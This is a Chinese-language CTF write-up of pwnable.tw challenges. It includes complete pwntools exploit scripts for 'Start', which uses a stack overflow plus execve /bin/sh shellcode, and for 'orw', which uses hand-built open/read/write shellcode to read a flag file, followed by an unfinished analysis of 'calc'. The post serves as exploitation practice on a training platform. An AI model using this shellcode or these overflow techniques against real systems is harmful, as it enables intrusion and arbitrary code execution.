pwnable.tw 心累

听说很难,来找虐

1.Start [100 pts]

之前湖湘杯有一题啥防护措施都没开启,我就不会做,所以不敢开心的太早

拖进IDA,这啥东西

还是直接看汇编吧

这是个系统调用

大概就是系统中断之后直接调用吧,边上有注释,不然我直接凉了

来,看一下汇编

先把地址给ecx,给了给长度范围,饭后执行标准输出,输出到终端,然后执行写操作

进入写函数以后,标准读入,长度还是20

思路:第一次输出操作时泄露esp返回地址,第二次读入操作时将esp修改,并写入shellcode,改变程序运作

返回地址其实也还OK,我们可以看到最后有个add 14h 在retn的地方,这里跳到的肯定是返回地址,我们可以看见esp之后会被读出来,那我们可以选择把esp改为当前esp泄露出来,然后再加上0x14就找到真正的返回地址了

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0 

if local:
	cn = process('./start')
	bin = ELF('./start')
	#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('chall.pwnable.tw',10000)
	bin = ELF('./start')
	#libc = ELF('')


def z(a=''):
	gdb.attach(cn,a)
	if a == '':
		raw_input()


shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload='a'*20+p32(0x08048087)
cn.recvuntil(':')
cn.send(payload)
addr=u32(cn.recv(4))
esp=addr+20
print hex(esp)
payload2='a'*20+p32(esp)+shellcode
cn.send(payload2)
print cn.recv(100)
cn.interactive()

2.orw [100 pts]

题目提示是open read write,拖进IDA分析

最后就是先读入我们输入的,然后执行

题目让我们Read the flag from /home/orw/flag.

直接构造shellcode,这题的考点就是shellcode怎么制作

我们先要知道系统调用号,查看/usr/include/asm/unistd.h,这有个链接:http://blog.sina.com.cn/s/blog_8c0c9acd010182wt.html
#define __NR_read   3
#define __NR_write  4
#define __NR_open  5

然后要慢慢看系统调用表了,头秃,我不会,慢慢学吧,还有系统调用约定也不熟悉:https://blog.csdn.net/cw312644167/article/details/80051573

调用系统调用有两种方式 
1. 通过操作系统提供的库函数进行系统调用 
2. 直接通过0x80中断与系统通信

这里显然是用2

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
	cn = process('./orw')
	bin = ELF('./orw')
	#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('chall.pwnable.tw',10001)
	bin = ELF('./orw')
	#libc = ELF('')


def z(a=''):
	gdb.attach(cn,a)
        if a == '':
		raw_input()

open_shell='push {};'.format(hex(u32('ag'+chr(0)+chr(0))))
open_shell+='push {};'.format(hex(u32('w/fl')))
open_shell+='push {};'.format(hex(u32('e/or')))
open_shell+='push {};'.format(hex(u32('/hom')))
open_shell+='mov ebx,esp;'          #*filename
open_shell+='xor edx,edx;'          #int mode
open_shell+='xor eax,eax;'
open_shell+='xor ecx,ecx;'
open_shell+='mov eax,0x5;'          #sys_open 
open_shell+='int 0x80;'

read_shell='mov ebx,eax;'           #int  fd
read_shell+='xor eax,eax;'
read_shell+='mov ecx,esp;'          #*buf       
read_shell+='mov edx,0x30;'         #size
read_shell+='mov eax,0x3;'          #sys_read
read_shell+='int 0x80;'

write_shell='mov eax,0x4;'          #sys_write
write_shell+='mov ebx,0x1;'         #int fd=1   0 标准输入, 1 标准输出
write_shell+='mov edx,0x30;'        #size
write_shell+='int 0x80'

shellcode=open_shell+read_shell+write_shell
cn.recvuntil(':')
cn.send(asm(shellcode))
#print cn.recv(100)
cn.interactive()

恶补了一波寄存器吧,对应的功能都忘记的差不多了,很尴尬

3.calc [150 pts]

题目提示是个计算机之类的东西

开启了canary和NX,拖进IDA看一下,希望漏洞比较容易发现吧……

主要的函数就是一个calc,跟进去看一下

然后这个函数里面函数就比较多了,还蛮复杂的

函数一个一个分析太累了,我们先顾名思义的结合程序猜一下

1)刚开始的这个bzero这个函数我觉得理解成将0x400个字节的空间清0是合理的

然后我们先执行一下程序做一下相关的分析

这个字符串对应的函数位置还是可以找到的,用来大致猜出函数意图

2)get_expr这个函数用来过滤,留下计算机可以运作的数据和字符,如下

3)init_pool存储所有输入的字符串,如下

4)  parse_expr一开始先给0x64个字节清0,里面有个eval函数,对应各个case,如下

我们再接着分析,一开始如下所示

a1存放的是我们输入的式子,然后-48和9进行比较,这其实就是一个读取操作字符的流程

自一个循环中判断,若小于9,则是数字,若大于,则为操作符号,操作符号-48后是负数,换算成无符号int之后远比9大

若是数字直接继续读取下一个字符,如下

第二个操作数如果是0,直接break,有毒,我试了一下2+0也会报错,这个bug也是佛了

对于静态编译的程序,很容易可以生成一个rop链,如下

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/84617121